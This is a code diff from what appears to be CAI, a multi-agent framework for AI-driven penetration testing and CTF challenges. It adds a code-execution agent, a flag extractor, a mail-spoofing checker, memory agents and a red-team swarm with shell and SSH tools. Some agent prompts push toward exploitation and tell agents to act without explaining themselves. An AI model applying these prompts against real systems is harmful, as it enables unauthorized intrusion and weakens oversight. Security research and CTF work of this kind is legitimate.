+                                "_print_outputs", ""))
+
+                    timeout_message = f"Code execution timed out after {
+                        self.execution_timeout} seconds."
+                    if debug:
+                        print(
+                            color(
+                                "⏱️ Code execution timed out:",
+                                fg="red",
+                                bold=True))
+                        print(color(f"{timeout_message}", fg="red"))
+
+                        if execution_logs:
+                            print(
+                                color(
+                                    "📋 Logs before timeout:",
+                                    fg="yellow",
+                                    bold=True))
+                            print(color(f"{execution_logs}", fg="yellow"))
+
+                    result_message = f"Code execution timed out after {
+                        self.execution_timeout} seconds.\n\n"
+                    if execution_logs:
+                        result_message += (
+                            f"Execution logs before timeout:\n```\n{
+                                execution_logs}\n```\n\n")
+                    result_message += ("Please optimize your code to run "
+                                       "more efficiently or break it into "
+                                       "smaller steps.")
+
+                    return Result(
+                        value=result_message,
+                        context_variables=self.context_variables
+                    )
+
+                # If we get here, the thread completed within the timeout
+                if thread.exception:
+                    # Re-raise the exception
+                    raise thread.exception
+
+                # Get the result
+                output, execution_logs, is_final_answer = thread.result
+            else:
+                # Unix implementation using signals
+                # Use a more robust approach with a context manager for signal
+                # handling
+                class SignalTimeout:
+                    """
+                    Context manager for handling signals
+                    """
+
+                    def __init__(self, seconds):
+                        self.seconds = seconds
+                        self.original_handler = None
+
+                    def __enter__(self):
+                        self.original_handler = signal.getsignal(
+                            signal.SIGALRM)
+                        signal.signal(signal.SIGALRM, timeout_handler)
+                        signal.alarm(self.seconds)
+                        return self
+
+                    def __exit__(self, exc_type, exc_val, exc_tb):
+                        # Always reset the alarm and restore the original
+                        # handler
+                        signal.alarm(0)
+                        signal.signal(signal.SIGALRM, self.original_handler)
+                        # Don't suppress exceptions
+                        return False
+
+                try:
+                    # Execute the code with timeout using context manager
+                    with SignalTimeout(self.execution_timeout):
+                        output, execution_logs, is_final_answer = (
+                            self.python_executor(
+                                code, self.context_variables))
+                except TimeoutError:
+                    # Get execution logs if available
+                    execution_logs = ""
+                    if (hasattr(
+                        self.python_executor, "state") and
+                            "_print_outputs" in self.python_executor.state):
+                        execution_logs = str(
+                            self.python_executor.state.get(
+                                "_print_outputs", ""))
+
+                    timeout_message = f"Code execution timed out after {
+                        self.execution_timeout} seconds."
+                    if debug:
+                        print(
+                            color(
+                                "⏱️ Code execution timed out:",
+                                fg="red",
+                                bold=True))
+                        print(color(f"{timeout_message}", fg="red"))
+
+                        if execution_logs:
+                            print(
+                                color(
+                                    "📋 Logs before timeout:",
+                                    fg="yellow",
+                                    bold=True))
+                            print(color(f"{execution_logs}", fg="yellow"))
+
+                    result_message = (
+                        f"Code execution timed out after {
+                            self.execution_timeout} seconds.\n\n")
+                    if execution_logs:
+                        result_message += (
+                            f"Execution logs before timeout:\n```\n{
+                                execution_logs}\n```\n\n")
+                    result_message += ("Please optimize your code to run "
+                                       "more efficiently or break it into "
+                                       "smaller steps.")
+
+                    return Result(
+                        value=result_message,
+                        context_variables=self.context_variables
+                    )
+                except Exception as e:
+                    # Handle any other exceptions that might occur
+                    # during execution. Get execution logs if available
+                    execution_logs = ""
+                    if (hasattr(
+                        self.python_executor, "state") and
+                            "_print_outputs" in self.python_executor.state):
+                        execution_logs = str(
+                            self.python_executor.state.get(
+                                "_print_outputs", ""))
+
+                    error_message = (
+                        f"Code execution failed: {type(e).__name__}: {
+                            str(e)}")
+                    if debug:
+                        print(
+                            color(
+                                "❌ Code execution failed:",
+                                fg="red",
+                                bold=True))
+                        print(color(f"{error_message}", fg="red"))
+
+                        if execution_logs:
+                            print(
+                                color(
+                                    "📋 Logs before error:",
+                                    fg="yellow",
+                                    bold=True))
+                            print(color(f"{execution_logs}", fg="yellow"))
+
+                    error_message += (
+                        f"\n\nExecution logs before error:\n```\n{
+                            execution_logs}\n```")
+
+                    raise CodeExecutionError(error_message)  # pylint: disable=raise-missing-from # noqa
+
+            # Prepare the result message
+            result_message = (
+                "Code execution completed.\n\n")
+
+            if execution_logs:
+                result_message += (
+                    f"Execution logs:\n```\n{
+                        execution_logs}\n```\n\n")
+
+            result_message += (
+                f"Output: {truncate_content(str(output))}")
+
+            # Print execution results with color if debug is enabled
+            if debug:
+                print(color("📊 Execution results:", fg="green", bold=True))
+                if execution_logs:
+                    print(color("📋 Logs:", fg="cyan", bold=True))
+                    print(color(f"{execution_logs}", fg="cyan"))
+
+                print(color("🔍 Output:", fg="yellow", bold=True))
+                print(color(f"{truncate_content(str(output))}", fg="yellow"))
+
+                if is_final_answer:
+                    print(
+                        color(
+                            "🏁 Final answer provided",
+                            fg="green",
+                            bold=True))
+
+                print(
+                    color(
+                        "✅ Code execution completed",
+                        fg="blue",
+                        bold=True))
+
+            # Return the result
+            return Result(
+                value=result_message,
+                context_variables=self.context_variables
+            )
+
+        except Exception as e:
+            # Get execution logs if available
+            execution_logs = ""
+            if (hasattr(self.python_executor,
+                        "state") and
+                    "_print_outputs" in self.python_executor.state):
+                execution_logs = str(
+                    self.python_executor.state.get(
+                        "_print_outputs", ""))
+
+            error_message = f"Code execution failed: {type(e).__name__}: {
+                str(e)}"
+            if debug:
+                print(color("❌ Code execution failed:", fg="red", bold=True))
+                print(color(f"{error_message}", fg="red"))
+
+                if execution_logs:
+                    print(
+                        color(
+                            "📋 Logs before error:",
+                            fg="yellow",
+                            bold=True))
+                    print(color(f"{execution_logs}", fg="yellow"))
+
+            error_message += f"\n\nExecution logs before error:\n```\n{
+                execution_logs}\n```"
+
+            raise CodeExecutionError(error_message)  # pylint: disable=raise-missing-from # noqa: E702,E501
+        finally:
+            # Always restore original signal handlers
+            self._restore_signal_handlers(original_handlers)
+
+    def run(self, messages: List[Dict],
+            context_variables: Dict = None, debug: bool = True) -> Result:
+        """
+        Run the agent on a conversation.
+
+        This is the main entry point for the agent,
+        aligning with CAI's expectations.
+
+        Args:
+            messages (List[Dict]):
+                List of messages in the conversation
+            context_variables (Dict, optional):
+                Variables to be made available to the agent
+            debug (bool, optional):
+                Whether to print debug information
+
+        Returns:
+            Result: A Result object containing the execution
+                result and updated context
+        """
+        # Set up signal handlers
+        original_handlers = self._setup_signal_handlers()
+
+        try:
+            # Update step number
+            self.step_number += 1  # pylint: disable=no-member # noqa: E702
+            if self.step_number > self.max_steps:  # pylint: disable=no-member # noqa: E702,E501
+                return Result(
+                    value="Reached maximum number of steps in CodeAgent. "
+                    "Stopping execution.",
+                    context_variables=self.context_variables
+                )
+
+            # Process the conversation
+            result, _, _ = self.process_interaction(
+                None, messages, context_variables, debug)
+            return result
+        except Exception as e:  # pylint: disable=broad-exception-caught # noqa
+            # Handle any exceptions that might occur during execution
+            error_message = f"Agent execution failed: {type(e).__name__}: {
+                str(e)}"
+            if debug:
+                print(color("❌ Agent execution failed:", fg="red", bold=True))
+                print(color(f"{error_message}", fg="red"))
+
+            return Result(
+                value=error_message,
+                context_variables=self.context_variables
+            )
+        finally:
+            # Always restore original signal handlers
+            self._restore_signal_handlers(original_handlers)
+
+
+def transfer_to_codeagent(**kwargs):  # pylint: disable=W0613
+    """Transfer to codeagent."""
+    return codeagent
+
+
+# agent
+codeagent = CodeAgent(
+    name="CodeAgent",
+    additional_authorized_imports=["*"],
+    execution_timeout=150,
+    description="""Agent focused on writing code iteratively.
+                   State-of-the-art in code production."""
+    # functions=[],
+    # tool_choice="required",  # force tool call for handoffs
+    # execution_timeout=int(os.getenv('CAI_CODE_TIMEOUT', '30')),  # Get
+    # timeout from env var or use default 30 seconds
+)

src/cai/agents/flag_discriminator.py

@@ -0,0 +1,25 @@
+"""
+CTF Flag Discriminator Agent
+"""
+import os
+from cai.sdk.agents import Agent
+
+model = os.getenv('CAI_MODEL', "qwen2.5:14b")
+flag_discriminator = Agent(
+    model="gpt-4o" if os.getenv('CAI_MODEL') == "o3-mini" else model,
+    name="Flag discriminator",
+    description="Agent focused on extracting the flag from the output",
+    instructions="""INSTRUCTIONS:
+                1. You are an agent tailored to extract the flag
+                from the output.
+                2. ONLY return the flag, nothing else.
+                3. IF THE FLAG IS NOT FOUND, CALL THE ctf_agent
+                again to CONTINUE the search""",
+)
+
+
+# TRANSFER FUNCTIONS
+def transfer_to_flag_discriminator(**kwargs):  # pylint: disable=W0613
+    """Transfer flag discriminator.
+    Accepts any keyword arguments but ignores them."""
+    return flag_discriminator

src/cai/agents/mail.py

@@ -0,0 +1,114 @@
+"""
+Mail Agent module for checking email configuration security.
+
+"""
+import dns.resolver  # pylint: disable=import-error
+from cai.sdk.agents import Agent
+from cai.tools.misc.cli_utils import execute_cli_command
+
+
+def get_txt_record(domain, record_type='TXT'):
+    """
+    Utility function to fetch TXT records for a given domain.
+    Returns a list of record strings or an empty list if none found.
+    """
+    try:
+        answers = dns.resolver.resolve(domain, record_type)
+        return [rdata.to_text().strip('"') for rdata in answers]
+    except Exception:  # pylint: disable=broad-exception-caught
+        return []
+
+
+def check_spf(domain: str):
+    """
+    Checks for the presence of an SPF record in the domain's TXT records.
+    Returns the SPF record string if found; otherwise, returns None.
+    """
+    txt_records = get_txt_record(domain, 'TXT')
+    for record in txt_records:
+        if record.lower().startswith("v=spf1"):
+            return record
+    return None
+
+
+def check_dmarc(domain: str):
+    """
+    Checks for the presence of a DMARC record.
+    DMARC records are stored in the TXT record of _dmarc.<domain>.
+    Returns the DMARC record string if found; otherwise, returns None.
+    """
+    dmarc_domain = f"_dmarc.{domain}"
+    txt_records = get_txt_record(dmarc_domain, 'TXT')
+    for record in txt_records:
+        if record.lower().startswith("v=dmarc1"):
+            return record
+    return None
+
+
+def check_dkim(domain: str, selector: str = "default"):
+    """
+    Checks for the presence of a DKIM record using the specified selector.
+    DKIM records are stored in the TXT record of
+    <selector>._domainkey.<domain>.
+    Returns the DKIM record string if found; otherwise returns None.
+    """
+    dkim_domain = f"{selector}._domainkey.{domain}"
+    txt_records = get_txt_record(dkim_domain, 'TXT')
+    if txt_records:
+        return txt_records[0]
+    return None
+
+
+def check_mail_spoofing_vulnerability(
+        domain: str,
+        dkim_selector: str = "default") -> dict:
+    """
+    Checks if domain is vulnerable to mail spoofing by inspecting SPF,
+    DMARC, and DKIM. Returns dict with domain, records found/missing,
+    vulnerability status and issues.
+    """
+    results = {}
+    spf_record = check_spf(domain)
+    dmarc_record = check_dmarc(domain)
+    dkim_record = check_dkim(domain, selector=dkim_selector)
+
+    results['domain'] = domain
+    results['spf'] = spf_record if spf_record else "Missing SPF record"
+    results['dmarc'] = dmarc_record if dmarc_record else "Missing DMARC record"
+    results['dkim'] = (
+        dkim_record if dkim_record
+        else f"Missing DKIM record (selector: {dkim_selector})"
+    )
+
+    vulnerabilities = []
+    if not spf_record:
+        vulnerabilities.append("SPF")
+    if not dmarc_record:
+        vulnerabilities.append("DMARC")
+    if not dkim_record:
+        vulnerabilities.append("DKIM")
+
+    results['vulnerable'] = bool(vulnerabilities)
+    results['issues'] = (
+        vulnerabilities or ["None detected. All email auth configured."]
+    )
+
+    full_string = ""
+    for key, value in results.items():
+        full_string += f"{key}: {value}\n"
+    return full_string
+
+
+dns_smtp_agent = Agent(
+    model="gpt-4o",
+    name="DNS_SMTP_Agent",
+    description="Agent focused on assessing spoofing DMARC.",
+    instructions=(
+        "You are an expert in assessing email configuration security. "
+        "Inspect domains for mail spoofing vulnerabilities by checking SPF, "
+        "DMARC, and DKIM. Use check_mail_spoofing_vulnerability for "
+        "detailed reports. Use execute_cli_command for basic scans. "
+        "USE ONLY TOOL CALLS, DONT RETURN REASON."
+    ),
+    tools=[check_mail_spoofing_vulnerability, execute_cli_command]
+)

src/cai/agents/memory.py

@@ -0,0 +1,181 @@
+"""
+Memory agent for CAI.
+
+Leverages Retrieval Augmented Generation (RAG) to
+store long-term memory experiences across security
+exercises and re-utilizes such experiences as input
+in other security exercises. Memories are stored in
+a vector database and retrieved using a RAG pipeline.
+
+The implementation follows established research in
+Retrieval Augmented Generation (RAG) and episodic
+memory systems, utilizing two complementary mechanisms:
+
+1. Episodic Memory Store (episodic): Maintains chronological
+   records of past interactions and their summaries,
+   organized by distinct security exercises (CTFs)
+   or targets within a document-oriented collection
+   structure
+
+2. Semantic Memory Store (semantic): Enables cross-exercise
+   knowledge transfer through similarity-based
+   retrieval across the full corpus of historical
+   experiences, leveraging dense vector embeddings
+   and approximate nearest neighbor search
+
+The system supports two distinct learning approaches:
+
+1. Offline Learning: Processes historical data from JSONL files
+   in batch mode (@2_jsonl_to_memory.py), enabling efficient
+   bulk ingestion of past experiences and their transformation
+   into vector embeddings without real-time constraints and
+   interference with the current CTF pentesting process.
+   This allows for comprehensive analysis and optimization
+   of the memory corpus.
+
+2. Online Learning: Incrementally updates memory during live
+   interactions (@core.py), incorporating new experiences
+   in real-time at defined intervals (rag_interval). This
+   enables continuous adaptation and immediate integration
+   of new knowledge while maintaining system responsiveness.
+
+Memory Architecture Diagrams
+----------------------------
+
+Episodic Memory (Per Security Target_n "Collection"):
++----------------+     +-------------------+    +------------------+     +----------------+  # noqa: E501  # pylint: disable=line-too-long
+|   Raw Events   |     |       LLM        |     |     Vector       |     |   Collection   |  # noqa: E501  # pylint: disable=line-too-long
+|  from Target   | --> | Summarization    | --> |   Embeddings     | --> |   "Target_1"   |  # noqa: E501  # pylint: disable=line-too-long
+|                |     |                  |     |                  |     |                |  # noqa: E501  # pylint: disable=line-too-long
+| [Event 1]      |     | Condenses and    |     | Converts text    |     | Summary 1      |  # noqa: E501  # pylint: disable=line-too-long
+| [Event 2]      |     | extracts key     |     | into dense       |     | Summary 2      |  # noqa: E501  # pylint: disable=line-too-long
+| [Event 3]      |     | information      |     | vectors          |     | Summary 3      |  # noqa: E501  # pylint: disable=line-too-long
++----------------+     +------------------+     +------------------+     +----------------+  # noqa: E501  # pylint: disable=line-too-long
+
+Semantic Memory (Single Global Collection "_all_"):
++---------------+    +--------------+    +------------------+
+| Target_1 Data |--->|              |    |"_all_" collection|
++---------------+    |              |    |                  |
+                     |    Vector    |    | [Vector 1] CTF_A |
++---------------+    |  Embeddings  |--->| [Vector 2] CTF_B |
+| Target_2 Data |--->|              |    | [Vector 3] CTF_A |
++---------------+    |              |    | [Vector 4] CTF_C |
+                     |              |    |        ...       |
++---------------+    |              |    |                  |
+| Target_N Data |--->|              |    |                  |
++---------------+    +--------------+    +------------------+
+
+
+Environment Variables enabling the episodic memory store
+--------------------------------------------------------
+
+   CAI_MEMORY: Enables the use of memory functionality in CAI
+    can adopt values:
+    - episodic: for episodic memory store
+    - semantic: for semantic memory store
+    - all: for all memory stores
+   CAI_MEMORY_COLLECTION: Name of the collection in Qdrant
+    (required if CAI_MEMORY=episodic)
+   CAI_MEMORY_ONLINE: Enables online learning (incremental updates)
+   CAI_MEMORY_OFFLINE: Trigger offline learning (@2_jsonl_to_memory.py) when
+    cai.client.run() finishes
+"""
+
+import os
+from cai.sdk.agents import Agent
+from cai.tools.misc.rag import add_to_memory_semantic, add_to_memory_episodic
+from cai.rag.vector_db import get_previous_memory
+
+# Get model from environment or use default
+model = os.getenv('CAI_MODEL', "qwen2.5:14b")
+
+
+def get_previous_steps(query: str) -> str:
+    """
+    Get the previous memory from the vector database.
+    """
+    results = get_previous_memory(query=query)
+    return results
+
+
+ADD_MEMORY_PROMPT = f"""INSTRUCTIONS:
+    1. You are a specialized agent for resume CTF and managing the RAG
+    2. Adding new information to the persistent memory
+    3. When adding information, ensure it is relevant and formatted
+    4. Always verify the success of memory operations
+    5. Include all information from previous tool execution
+    6. Be verbose with useful context and very detailed
+    7. Include all ports, services and network information
+
+    Consider the current CTF pentesting process step.
+    Overwrite step if you find a better solution.
+    Do not overwrite if not more conclusive than existing.
+
+    Add only facts, not next steps or assumptions.
+    Add evidential information from previous CTF steps.
+    For conflicts, determine if memory update needed.
+
+    {get_previous_steps("")}
+    """
+
+QUERY_PROMPT = """INSTRUCTIONS:
+    You are a specialized agent for CTF exercises and security assessments,
+    managing the RAG system.
+
+    Your role is to:
+    1. Retrieve and analyze relevant historical information from memory
+    2. Focus on security-critical details like:
+        - Discovered vulnerabilities and exploits
+        - Network topology and exposed services
+        - Credentials and access patterns
+        - System configurations and versions
+        - Previous successful attack vectors
+    3. Prioritize technical details that could be useful for exploitation
+    4. Consider the full context of the security assessment
+    5. Maintain operational security by handling sensitive data appropriately
+
+    When processing queries:
+    - Extract specific technical indicators
+    - Identify relationships between different findings
+    - Highlight potential security implications
+    - Provide actionable intelligence for further exploitation
+
+    Format responses to emphasize critical security information
+    while maintaining clarity and precision.
+    """
+
+semantic_builder = Agent(
+    model=model,
+    name="Semantic_Builder",
+    instructions=ADD_MEMORY_PROMPT,
+    description="""Agent that stores semantic memories from security assessments
+                   and CTF exercises in semantic format.""",
+    tool_choice="required",
+    temperature=0,
+    functions=[add_to_memory_semantic],
+    parallel_tool_calls=True
+)
+
+
+episodic_builder = Agent(
+    model=model,
+    name="Episodic_Builder",
+    instructions=ADD_MEMORY_PROMPT,
+    description="""Agent that stores episodic memories from security assessments
+                   and CTF exercises in episodic format.""",
+    tool_choice="required",
+    temperature=0,
+    functions=[add_to_memory_episodic],
+    parallel_tool_calls=True
+)
+
+query_agent = Agent(
+    model=model,
+    name="Query_Agent",
+    description="""Agent that queries the memory system to retrieve relevant 
+                   historical information from previous security assessments
+                   and CTF exercises.""",
+    instructions=QUERY_PROMPT,
+    tool_choice="required",
+    temperature=0,
+)

src/cai/agents/meta/reasoner_support.py

@@ -0,0 +1,71 @@
+"""
+This module provides a Reasoner Agent for autonomous pentesting.
+
+The Reasoner Agent is designed to enhance the reasoning capabilities
+of the main agent by providing structured analysis without making tool calls.
+"""
+
+import os
+from typing import Optional, Callable, Union
+from cai.sdk.agents import Agent  # pylint: disable=import-error
+from cai.util import load_prompt_template
+
+
+def create_reasoner_agent(
+    name: str = "Reasoner",
+    model: Optional[str] = None,
+    instructions: Optional[Union[str, Callable[[], str]]] = None
+) -> Agent:
+    """
+    Create a Reasoner Agent for autonomous pentesting.
+
+    This agent is designed to provide in-depth reasoning and analysis
+    without making tool calls. It helps the main agent by offering
+    structured thinking about pentesting strategies and approaches.
+
+    Args:
+        name: The name of the reasoner agent.
+        model: The model to use for the reasoner agent. If None,
+               uses the CAI_SUPPORT_MODEL environment variable or
+               falls back to the default model.
+        instructions: Custom instructions for the reasoner agent.
+                     If None, uses default reasoning instructions.
+
+    Returns:
+        Agent: A configured Reasoner Agent instance.
+    """
+    # Use environment variable for model if not specified
+    if model is None:
+        model = os.getenv("CAI_SUPPORT_MODEL", "o3-mini")
+
+    # Default instructions for the reasoner agent
+    default_instructions = load_prompt_template("prompts/system_reasoner_supporter.md")
+
+    # Use provided instructions or default
+    agent_instructions = (
+        instructions if instructions is not None
+        else default_instructions
+    )
+
+    # Check if the model supports reasoning_effort
+    kwargs = {}
+    if any(x in model for x in ["o1", "o3"]):
+        kwargs["reasoning_effort"] = "high"
+
+    # Create and return the reasoner agent
+    return Agent(
+        name=name,
+        model=model,
+        instructions=agent_instructions,
+        **kwargs
+    )
+
+
+reasoner_agent = create_reasoner_agent()
+
+
+def transfer_to_reasoner(**kwargs) -> str:  # pylint: disable=unused-argument
+    """
+    Transfer the conversation to the reasoner agent.
+    """
+    return reasoner_agent

src/cai/agents/one_tool.py

@@ -0,0 +1,51 @@
+"""
+CTF Agent with one tool
+"""
+import os
+from cai.sdk.agents import Agent
+from cai.tools.reconnaissance.generic_linux_command import generic_linux_command  # noqa
+model = os.getenv('CAI_MODEL', "qwen2.5:14b")
+
+one_tool_agent = Agent(
+    model=model,
+    name="CTF agent",
+    description="""Agent focused on conquering security challenges using generic linux commands
+                   Expert in cybersecurity and exploitation.""",
+    instructions="""You are a Cybersecurity expert Leader facing a CTF
+                    challenge.
+                    INSTRUCTIONS:
+                    1. Execute the generic_linux_command tool without any
+                    explanation.
+                    2. Never assume the flag format - it could be any string
+                    3. YOU MUST USE THE flag_discriminator to check the flag
+                    when you have it in DECODED 64-bit format
+
+                    ## generic_linux_command usage
+                    # 1. Regular command execution
+                    # 2. Shell Session Management: create and manage
+                    # interactive shell sessions for commands like netcat,
+                    # SSH, telnet.
+
+                    - To start a new session: Use `generic_linux_command` with
+                      commands like `ssh`
+                    - To list active sessions:
+                      `generic_linux_command("session", "list")`
+                    - To get output from a session:
+                      `generic_linux_command("session", "output <session_id>")`
+                    - To send input to a session:
+                      `generic_linux_command("<command>", "<args>",
+                      session_id="<session_id>")`
+                    - To terminate a session:
+                      `generic_linux_command("session", "kill <session_id>")`
+
+                    """,
+    tools=[
+        generic_linux_command,
+    ],
+)
+
+
+def transfer_to_one_tool_agent(**kwargs):  # pylint: disable=W0613
+    """Transfer to ctf agent.
+    Accepts any keyword arguments but ignores them."""
+    return one_tool_agent

src/cai/agents/patterns/red_team.py

@@ -0,0 +1,47 @@
+
+"""
+Implementation of a Cyclic Swarm Pattern for Red Team Operations
+
+This module establishes a coordinated multi-agent system where specialized agents
+collaborate on security assessment tasks. The pattern implements a directed graph
+of agent relationships, where each agent can transfer context (message history) 
+to another agent through handoff functions, creating a complete communication network
+for comprehensive security analysis.
+"""
+from cai.agents.red_teamer import redteam_agent
+from cai.agents.thought import thought_agent
+from cai.agents.mail import dns_smtp_agent
+
+
+def transfer_to_dns_agent():
+    """
+    Use THIS always for DNS scans and domain reconnaissance
+    about dmarc and dkim registers
+    """
+    return dns_smtp_agent
+
+
+def redteam_agent_handoff(ctf=None):  # pylint: disable=unused-argument
+    """
+    Red Team Agent, call this function
+    empty to transfer to redteam_agent
+    """
+    return redteam_agent
+
+
+def thought_agent_handoff(ctf=None):  # pylint: disable=unused-argument
+    """
+    Thought Agent, call this function empty
+    to transfer to thought_agent
+    """
+    return thought_agent
+
+
+# Register handoff functions to enable inter-agent communication pathways
+redteam_agent.functions.append(transfer_to_dns_agent)
+dns_smtp_agent.functions.append(redteam_agent_handoff)
+thought_agent.functions.append(redteam_agent_handoff)
+
+# Initialize the swarm pattern with the thought agent as the entry point
+redteam_swarm_pattern = thought_agent
+redteam_swarm_pattern.pattern = "swarm"

src/cai/agents/red_teamer.py

@@ -0,0 +1,42 @@
+"""Red Team Base Agent"""
+import os
+from dotenv import load_dotenv
+from cai.sdk.agents import Agent  # pylint: disable=import-error
+from cai.tools.command_and_control.sshpass import (  # pylint: disable=import-error # noqa: E501
+    run_ssh_command_with_credentials
+)
+
+from cai.tools.reconnaissance.generic_linux_command import (  # pylint: disable=import-error # noqa: E501
+    generic_linux_command
+)
+from cai.tools.web.search_web import (  # pylint: disable=import-error # noqa: E501
+    make_web_search_with_explanation,
+)
+
+from cai.tools.reconnaissance.exec_code import (  # pylint: disable=import-error # noqa: E501
+    execute_code
+)
+from cai.util import load_prompt_template
+
+# Prompts
+redteam_agent_system_prompt = load_prompt_template("prompts/system_red_team_agent.md")
+# Define functions list based on available API keys
+functions = [
+    generic_linux_command,
+    run_ssh_command_with_credentials,
+    execute_code,
+]
+
+# Add make_web_search_with_explanation function if PERPLEXITY_API_KEY environment variable is set
+if os.getenv('PERPLEXITY_API_KEY'):
+    functions.append(make_web_search_with_explanation)
+    
+
+redteam_agent = Agent(
+    name="Red Team Agent",
+    instructions=redteam_agent_system_prompt,
+    description="""Agent that mimic pentester/red teamer in a security assessment.
+                   Expert in cybersecurity and exploitation.""",
+    model=os.getenv('CAI_MODEL', "qwen2.5:14b"),
+    tools=functions,
+)

src/cai/agents/thought.py

@@ -0,0 +1,23 @@
+"""
+First prototype of a reasoner agent
+
+using reasoner as a tool call
+
+support meta agent may better @cai.agents.meta.reasoner_support
+"""
+from cai.tools.misc.reasoning import thought
+from cai.sdk.agents import Agent  # pylint: disable=import-error
+from cai.util import load_prompt_template
+import os
+
+thought_agent_system_prompt = load_prompt_template("prompts/system_thought_router.md")
+
+# Thought Process Agent for analysis and planning
+thought_agent = Agent(
+    name="ThoughAgent",
+    model=os.getenv('CAI_MODEL', "qwen2.5:14b"),
+    description="""Agent focused on analyzing and planning the next steps
+                   in a security assessment or CTF challenge.""",
+    instructions=thought_agent_system_prompt,
+    tools=[thought],
+)

src/cai/cli.py

@@ -1,3 +1,101 @@
+"""
+This module provides a CLI interface for testing and
+interacting with CAI agents.
+
+Environment Variables
+---------------------
+    Required:
+        N/A
+
+    Optional:
+        CTF_NAME: Name of the CTF challenge to
+            run (e.g. "picoctf_static_flag")
+        CTF_CHALLENGE: Specific challenge name
+            within the CTF to test
+        CTF_SUBNET: Network subnet for the CTF
+            container (default: "192.168.2.0/24")
+        CTF_IP: IP address for the CTF
+            container (default: "192.168.2.100")
+        CTF_INSIDE: Whether to conquer the CTF from
+            within container (default: "true")
+
+        CAI_MODEL: Model to use for agents
+            (default: "qwen2.5:14b")
+        CAI_DEBUG: Set debug output level (default: "1")
+            - 0: Only tool outputs
+            - 1: Verbose debug output
+            - 2: CLI debug output
+        CAI_BRIEF: Enable/disable brief output mode (default: "false")
+        CAI_MAX_TURNS: Maximum number of turns for
+            agent interactions (default: "inf")
+        CAI_TRACING: Enable/disable OpenTelemetry tracing
+            (default: "true"). When enabled, traces execution
+            flow and agent interactions for debugging and analysis.
+        CAI_AGENT_TYPE: Specify the agents to use it could take
+            the value of (default: "one_tool_agent"). Use "/agent"
+            command in CLI to list all available agents.
+        CAI_STATE: Enable/disable stateful mode (default: "false").
+            When enabled, the agent will use a state agent to keep
+            track of the state of the network and the flags found.
+        CAI_MEMORY: Enable/disable memory mode (default: "false")
+            - episodic: use episodic memory
+            - semantic: use semantic memory
+            - all: use both episodic and semantic memorys
+        CAI_MEMORY_ONLINE: Enable/disable online memory mode
+            (default: "false")
+        CAI_MEMORY_OFFLINE: Enable/disable offline memory
+            (default: "false")
+        CAI_ENV_CONTEXT: Add enviroment context, dirs and
+            current env available (default: "true")
+        CAI_MEMORY_ONLINE_INTERVAL: Number of turns between
+            online memory updates (default: "5")
+        CAI_PRICE_LIMIT: Price limit for the conversation in dollars
+            (default: "1")
+        CAI_SUPPORT_MODEL: Model to use for the support agent
+            (default: "o3-mini")
+        CAI_SUPPORT_INTERVAL: Number of turns between support agent
+            executions (default: "5")
+
+    Extensions (only applicable if the right extension is installed):
+
+        "report"
+            CAI_REPORT: Enable/disable reporter mode. Possible values:
+                - ctf (default): do a report from a ctf resolution
+                - nis2: do a report for nis2
+                - pentesting: do a report from a pentesting
+
+Usage Examples:
+
+    # Run against a CTF
+    CTF_NAME="kiddoctf" CTF_CHALLENGE="02 linux ii" \
+        CAI_AGENT_TYPE="one_tool_agent" CAI_MODEL="qwen2.5:14b" \
+        CAI_TRACING="false" python3 cai/cli.py
+
+    # Run a harder CTF
+    CTF_NAME="hackableii" CAI_AGENT_TYPE="redteam_agent" \
+        CTF_INSIDE="False" CAI_MODEL="deepseek/deepseek-chat" \
+        CAI_TRACING="false" python3 cai/cli.py
+
+    # Run without a target in human-in-the-loop mode, generating a report
+    CAI_TRACING=False CAI_REPORT=pentesting CAI_MODEL="gpt-4o" \
+        python3 cai/cli.py
+
+    # Run with online episodic memory
+    #   registers memory every 5 turns:
+    #   limits the cost to 5 dollars
+    CTF_NAME="hackableII" CAI_MEMORY="episodic" \
+        CAI_MODEL="o3-mini" CAI_MEMORY_ONLINE="True" \
+        CTF_INSIDE="False" CTF_HINTS="False"  \
+        CAI_PRICE_LIMIT="5" python3 cai/cli.py
+
+    # Run with custom long_term_memory interval
+    # Executes memory long_term_memory every 3 turns:
+    CTF_NAME="hackableII" CAI_MEMORY="episodic" \
+        CAI_MODEL="o3-mini" CAI_MEMORY_ONLINE_INTERVAL="3" \
+        CAI_MEMORY_ONLINE="False" CTF_INSIDE="False" \
+        CTF_HINTS="False" python3 cai/cli.py
+"""
+
 import os
 from dotenv import load_dotenv
 from openai import AsyncOpenAI
@@ -127,5 +225,8 @@ def run_cai_cli(starting_agent, context_variables=None, stream=False, max_turns=
             console.print(f"[bold red]Error: {str(e)}[/bold red]")
 
 
+def main():    
+    run_cai_cli(agent, stream=True)
+
 if __name__ == "__main__":
-    run_cai_cli(agent, stream=True)
+    main()

src/cai/prompts/core/system_codeact_template.md

@@ -0,0 +1,57 @@
+<%
+    import os
+    from cai.util import cli_print_tool_call
+    from cai.rag.vector_db import get_previous_memory
+    from cai import is_caiextensions_memory_available
+
+    # Get system prompt from agent if provided
+    system_prompt = (
+        agent.instructions(context_variables)
+        if callable(agent.instructions)
+        else agent.instructions
+    )
+
+    # Get CTF_INSIDE environment variable
+    ctf_inside = os.getenv('CTF_INSIDE')
+    env_context = os.getenv('CAI_ENV_CONTEXT', 'true').lower()
+    # Get memory from vector db if RAG is enabled
+    rag_enabled = os.getenv("CAI_MEMORY", "?").lower() in ["episodic", "semantic", "all"]
+    memory = ""
+    if rag_enabled:
+        if os.getenv("CAI_MEMORY", "?").lower() in ["semantic", "all"]:
+            # For semantic search, use first line of instructions as query
+            query = ctf_instructions.split('\n')[0].replace('Instructions: ', '')
+        else:
+            # For episodic memory, use empty query to get chronological steps
+            query = ""
+        try:
+            memory = get_previous_memory(query)
+        except Exception as e:
+            memory = ""  # Set empty memory on error
+
+        cli_print_tool_call(tool_name="Memory",
+                       tool_args={"From": "Previous Findings"},
+                       tool_output=memory,
+                       interaction_input_tokens=0,
+                       interaction_output_tokens=0,
+                       interaction_reasoning_tokens=0,
+                       total_input_tokens=0,
+                       total_output_tokens=0,
+                       total_reasoning_tokens=0,
+                       model="Python Code",
+                       debug=False)
+    artifacts = None
+    if is_caiextensions_memory_available() and os.getenv('CTF_NAME'):
+        from caiextensions.memory import get_artifacts
+        artifacts = get_artifacts(os.getenv('CTF_NAME').lower())
+%>
+
+${system_prompt}
+
+% if ctf_inside is not None:
+    % if ctf_inside.lower() == 'true':
+You are INSIDE the target machine in a docker container. Try not to use network commands unless necessary.
+    % elif ctf_inside.lower() == 'false':
+You are OUTSIDE the target machine which is a docker container. You may use network commands like nmap for initial reconnaissance.
+    % endif
+% endif

